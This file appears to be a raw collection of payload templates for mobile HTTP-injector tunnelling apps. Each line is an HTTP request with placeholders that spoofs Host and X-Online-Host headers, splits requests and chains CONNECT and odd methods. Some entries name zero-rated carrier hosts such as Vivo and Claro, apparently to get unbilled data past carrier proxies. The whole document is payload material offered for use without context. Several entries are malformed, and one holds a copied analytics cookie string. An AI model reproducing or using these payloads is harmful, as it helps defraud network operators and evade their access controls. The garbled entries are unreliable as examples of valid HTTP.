-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][raw][crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][raw][crlf] [crlf]
-CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]
-CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf] [crlf]
-GET http://mhost/ HTTP/1.1[crlf]User-Agent: [ua][crlf][crlf][split][raw][crlf][crlf]CONNECT mhost:443 HTTP/1.1[crlf][raw][crlf][crlf]GET http://mhost/ HTTP/1.0[crlf]Host: mhost[crlf]Proxy-Authorization: basic: mhost[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive [crlf]Host: [host][crlf][crlf][split][raw][crlf][crlf]GET http://mhost/ HTTP/1.0[crlf]Host: mhost/[crlf][crlf]CONNECT [host_port] HTTP/1.0[crlf][crlf][realData][crlf][crlf]
-[method] mhost:443 HTTP/1.1[crlf][raw][crlf][crlf]GET http://mhost/ HTTP/1.1\nHost: mhost\nConnection: close\nConnection: close\nUser-Agent:[ua][crlf]Proxy-Connection: Keep-Alive[crlf]Host: [host][crlf][crlf][delay_split][raw][crlf][crlf][raw][crlf][realData][crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]User-Agent: KDDI[crlf]Host: [host][crlf][crlf][raw][raw][crlf][raw][crlf][raw][crlf][crlf]DELETE http://mhost/ HTTP/1.1[crlf]Host: m.opera.com[crlf]Proxy-Authorization: basic: *[crlf]User-Agent: KDDI[crlf]Connection: close[crlf]Proxy-Connection: Direct[crlf]Host: [host][crlf][crlf][raw][raw][crlf][crlf][raw][method] http://mhost[port] HTTP/1.1[crlf]Host: [host][crlf][crlf]CONNECT [host] [protocol][crlf][crlf][CONNECT [host] [protocol][crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf]X-Online-Host: mhost[crlf]Packet Length: Authorization[crlf]Packet Content: Authorization[crlf]Transfer-Encoding: chunked[crlf]Referer: mhost[crlf][crlf]
-[crlf][crlf]CONNECT [host_port]@mhost/ [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][crlf]CONNECT [host]@mhost/ [protocol][crlf][crlf]
-[method] [host_port] [protocol] [delay_split]GET http://mhost/ HTTP/1.1[netData][crlf]GET mip:80[crlf]X-GreenArrow-MtaID: smtp1-1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.0[crlf][split]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf][crlf][method] [host_port] [protocol]?[split]GET http://mhost:8080/[crlf][crlf]GET [host_port] [protocol]?[split]OPTIONS http://mhost/[crlf]Connection: Keep-Alive[crlf]User-Agent: Mozilla/5.0 (Android; Mobile; rv:35.0) Gecko/35.0 Firefox/35.0[crlf]CONNECT [host_port] [protocol] [crlf]GET [host_port] [protocol]?[split]GET http://mhost/[crlf][crlf][method] mip:80[split]GET mhost/[crlf][crlf]: Cache-Control:no-store,no-cache,must-revalidate,post-check=0,pre-check=0[crlf]Connection:close[crlf]CONNECT [host_port] [protocol]?[split]GET http://mhost:/[crlf][crlf]POST [host_port] [protocol]?[split]GET[crlf]mhost:/[crlf]Content-Length: 999999999\r\n\r\n
-GET [host_port] [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Referer: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
-CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET mhost/ HTTP/1.1[crlf][crlf]
-CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: navegue.vivo.ddivulga.com/pacote[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost/[crlf]GET mhost/ HTTP/1.1[crlf]HEAD mhost/ HTTP/1.1[crlf]TRACE mhost/ HTTP/1.1[crlf]OPTIONS mhost/ HTTP/1.1[crlf]PATCH mhost/ HTTP/1.1[crlf]PROPATCH mhost/ HTTP/1.1[crlf]DELETE mhost/ HTTP/1.1[crlf]PUT mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]Host: mhost/[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]X-Forwarded-For: mhost[protocol][crlf][crlf]
-[raw][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]X-Forward-Host: mhost/[crlf]Connection: Keep-Alive[crlf]Connection: Close[crlf]User-Agent: [ua][crlf][crlf]
-[raw][split]GET mhost/ HTTP/1.1[crlf] [crlf]
-CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]GET mhost/[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf]
-[raw]split]GET mhost/ HTTP/1.1[crlf][crlf]
-GET [host_port] [protocol][instant_split]GET http://mhost/ HTTP/1.1[crlf]
-GET [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf]
-CONNECT [host_port] [protocol] [instant_split]GET http://mhost/ HTTP/1.1[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]User-Agent: [ua][crlf][crlf]
-GET http://mhost/ HTTP/2.0[auth][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]CONNECT [host_port] [protocol] [auth][crlf][crlf][delay_split][raw][crlf]JAZZ http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf][delay_split]CONNECT [host_port] [protocol] [method][crlf] [crlf][crlf]
-CONNECT [host_port] [protocol][crlf]GET http://mhost/ HTTP/1.1\rHost: mhost\r[crlf]X-Online-Host: mhost\r[crlf]X-Forward-Host: mhost\rUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-gb) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/2.9174AP[crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost/ [crlf]User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive[crlf][crlf][raw][crlf][crlf]
-GET [host_port] [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]UseDNS: Yes[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[crlf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[crlf]  Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[crlf]  Age: 8, 8[crlf] Cache-Control: max-age=86400[crlf] public[crlf] Connection: keep-alive[crlf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]UseDNS: Yes[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[crlf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[crlf]  Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[crlf]  Age: 8, 8[crlf] Cache-Control: max-age=86400[crlf] public[crlf] Connection: keep-alive[crlf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf]
-[netData][split][raw][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: update[crlf][netData][crlf] [crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]host: http://mhost/[crlf]Connection: close update[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf] [crlf]
-[raw][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf][crlf]User-Agent: [ua][crlf]Connection: Close[crlf]Proxy-connection: Close[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf]Connection: Keep-Alive[crlf][raw][crlf] [crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Content-Type: text/html; charset=iso-8859-1[crlf]Connection: close[crlf][crlf]User-Agent: [ua][crlf][crlf]Referer: mhost[crlf]Cookie: mhost[crlf]Proxy-Connection: Keep-Alive [crlf][crlf][raw][crlf] [crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Upgrade-Insecure-Requests: 1[crlf]User-Agent: Mozilla/5.0 (Linux; Android 5.1; LG-X220 Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36[crlf]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8[crlf]Referer: http://mhost[crlf]Accept-Encoding: gzip, deflate, sdch[crlf]Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.6,en;q=0.4[crlf]Cookie: _ga=GA1.2.2045323091.1494102805; _gid=GA1.2.1482137697.1494102805; tfp=80bcf53934df3482b37b54c954bd53ab; tpctmp=1494102806975; pnahc=0; _parsely_visitor={%22id%22:%22719d5f49-e168-4c56-b7c7-afdce6daef18%22%2C%22session_count%22:1%2C%22last_session_ts%22:1494102810109}; sc_is_visitor_unique=rx10046506.1494105143.4F070B22E5E94FC564C94CB6DE2D8F78.1.1.1.1.1.1.1.1.1[crlf][crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive[crlf][netData][crlf] [crlf][crlf]
-GET [host_port] [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][crlf]Connection: close [crlf]Referer:http://mhost[crlf]Content-Type: text/html; charset=iso-8859-1[crlf]Content-Length:0[crlf]Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5[crlf][raw][crlf] [crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: null[crlf]Connection: close[crlf]Proxy-Connection: x-online-host[crlf][crlf] CONNECT [host_port] [protocol] [netData][crlf]Content-Length: 130 [crlf][crlf]
-[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf]User-Agent: Yes[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Connection: Basic[crlf]Referer: mhost[crlf]Cookie: mhost/ [crlf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf]
-[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Accept-Language: en-us,en;q=0.5[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Keep-Alive: 115[crlf]Connection: keep-alive[crlf]Referer: mhost[crlf]Cookie: mhost/ Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf]
-[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf]
-[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf][raw][crlf] [crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]CONNECT [host_port][method]HTTP/1.1[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost[crlf][crlf]DELETE http://mhost/ HTTP/1.1[crlf][crlf][netData][crlf] [crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][method] [host_port]@mip [crlf][crlf]http://mhost/ HTTP/1.1[crlf]mip[crlf][crlf] [crlf][crlf]http://mhost/ HTTP/1.1[crlf]Host@mip[crlf][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf]Host mhost/[crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[cr][crlf] [crlf][crlf][netData][cr][crlf] [crlf][crlf]CONNECT mip:22@http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf]
-CONNECT [host_port]@mhost/ HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf]
-CONNECT [host_port]@mhost/ HTTP/1.0[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13[crlf]Accept-Language: en-us,en;q=0.5[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Keep-Alive: 115[crlf]Connection: keep-alive[crlf]Referer: mhost[crlf]Cookie: mhost/ Proxy-Connection: Keep-Alive [crlf][crlf][netData][crlf] [crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: Yes[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Connection: Basic[crlf]Referer: mhost[crlf]Cookie: mhost/ [crlf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][delay_split]CONNECT [host_port]@mhost/ [protocol][crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]DATA: 2048B[crlf]Host: mhost[crlf]User-Agent: Yes[crlf]Connection: close[crlf]Accept-Encoding: gzip[crlf]Non-Buffer: true[crlf]Proxy: false[crlf][crlf][netData][crlf] [crlf][crlf]
-GET [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf]Host: http://mhost/[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: http://mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Cache-Control=max-age=0[crlf][crlf][raw][crlf] [crlf][crlf]
-CONNECT [host_port]@mhost/ [protocol][crlf]X-Online-Host: mhost[crlf][crlf][raw][crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Referer: mhost[crlf]GET /HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf][raw][crlf]Referer: mhost[crlf][crlf]
-GET http://mhost/ HTTP/1.1[cr][crlf]Host: mhost/\nUser-Agent: Yes\nConnection: close\nProxy-Connection: Keep-Alive\n\r\n\r\n[netData]\r\n \r\n\r\n
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][split]CONNECT mhost@[host_port] [protocol][crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][realData][crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][raw][crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf][crlf]
-[raw][crlf]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]CONNECT mhost/ [protocol][crlf]
-[raw] HTTP/1.0\r\n\r\nGET http://mhost/ HTTP/1.1\r\nHost: mhost\r\nConnection: Keep-Alive\r\nCONNECT mhost\r\n\r\n
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf][crlf]
-GET [host_port]@mhost/ HTTP/1.1[crlf]X-Real-IP:mip[crlf]X-Forwarded-For:http://mhost/ http://mhost/[crlf]X-Forwarded-Port:mhost[crlf]X-Forwarded-Proto:http[crlf]Connection:Keep-Alive[crlf][crlf][instant_split][raw][crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf][split][realData][crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][realData][crlf]CONNECT mhost/ HTTP/1.1[crlf][crlf]
-CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
-[raw][crlf]GET http://mhost/ [protocol][crlf][split]mhost:/ HTTP/1.1[crlf]Host: mhost:[crlf]X-Forward-Host: mhost:[crlf][raw][crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf][crlf]Connection: close[crlf][crlf][netData][crlf] [crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host:http://mhost[crlf][crlf][netData][crlf] [crlf][crlf]
-GET http://mhost/ HTTP/1.1\r\nHost: mhost\r\n\r\n[netData]\r\n\r\n\r\n
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][realData][crlf][crlf]
-GET http://mhost/ HTTP/1.1\r\nX-Online-Host:mhost\r\n\r\nCONNECT mip:443[crlf]HTTP/1.0\r\n \r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\\r\n
-GET http://mhost/ HTTP/1.1\r\nGET: mhost\n\r\nCONNECT mip:443[crlf]HTTP/1.0\r\n \r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\\r\n
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close[crlf][raw][crlf] [crlf][crlf]
-GET http://mhost/[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf] [crlf][crlf]
-GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
-GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Forward-Host: mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
-GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Connection: http://mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
-GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]CONNECT mhost@[host_port] [protocol][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
-GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Connection: Keep-Alive[crlf]mhost@[host_port][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
-GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][netdata][crlf] [crlf]GET mhost/ [protocol][crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
-GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
-GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf][split]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf]User-Agent: [ua][crlf]Connection: close[crlf][raw][crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf][raw][crlf][netData][crlf] [crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][raw][crlf] [crlf][crlf]
-GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
-GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
-GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netData][crlf] [crlf]
-GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
-GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
-GET http://mhost/ HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netdata][crlf] [crlf][split]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf]
-GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf]
-GET http://mhost/ HTTP/1.1[crlf]mhost\r\nHost:mhost\r\n\r\n[netData]\r\n \r\n\r\n
-GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf][realData][crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]CONNECT mhost/  [crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf][crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][netData][crlf] [crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf][crlf]host: mhost[crlf][crlf][realData][crlf] [crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost/ [crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][raw][crlf] [crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][realData][crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf] [crlf]
-GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [crlf][raw][crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf]CONNECT [host_port][crlf]CONNECT mhost/ [crlf][crlf][cr]
-[realData][crlf][split]GET http://mhost/  HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf][crlf]CONNECT [host_port][crlf]GET mhost/ [crlf]
-CONNECT [host_port]@mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf][raw][crlf][crlf]
-[raw][crlf][cr][crlf]X-Online-Host: mhost[crlf]Connection: [crlf]User-Agent: [ua][crlf]Content-Lenght: 99999999999[crlf][crlf]
-[raw][crlf]X-Online-Host: mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf]X-Online-Host: mhost[crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Authorization: Basic: Connection: X-Forward-Keep-AliveX-Online-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]host:frontend.claro.com.br[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf] [crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: Multibanco.com.br[crlf][crlf][raw][crlf] [crlf][crlf]
-GET http://mhost/ HTTP/1.1[crlf]Host: mhost/ [crlf][crlf][raw][crlf]CONNECT [crlf]
-GET http://mhost/ HTTP/1.1[crlf] Proxy-Authorization: Basic:Connection: X-Forward-Keep-AliveX-Online-Host:[crlf][crlf][netData][crlf] [crlf][crlf]
-CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]
-CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf][crlf]
-[raw][crlf]X-Online-Host: mhost[crlf][crlf][raw][crlf]X-Online-Host: mhost/ [crlf][crlf]
-[raw][crlf]X-Online-Host: http://mhost[crlf][crlf]CONNECT[host_port] [protocol][crlf]X-Online-Host: mhost/ [crlf][crlf]
-CONNECT [host_port]@mhost/ HTTP/1.1[crlf]CONNECT mip:443 [crlf][crlf]
